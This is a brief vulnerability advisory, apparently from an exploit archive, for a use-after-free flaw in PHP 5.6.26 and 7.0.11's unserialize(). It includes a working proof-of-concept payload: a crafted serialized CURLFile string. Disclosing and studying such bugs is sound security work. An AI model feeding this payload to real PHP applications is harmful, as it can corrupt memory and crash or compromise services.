PHP 5.6.26 and 7.0.11 Use After Free in unserialize()

2016.10.18

Credit: taoguangchen

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

PoC:
<?php
$poc = 'a:1:{i:0;O:8:"CURLFile":1:{s:4:"name";R:1;}}';
unserialize($poc);
?>

References:

https://bugs.php.net/bug.php?id=73147

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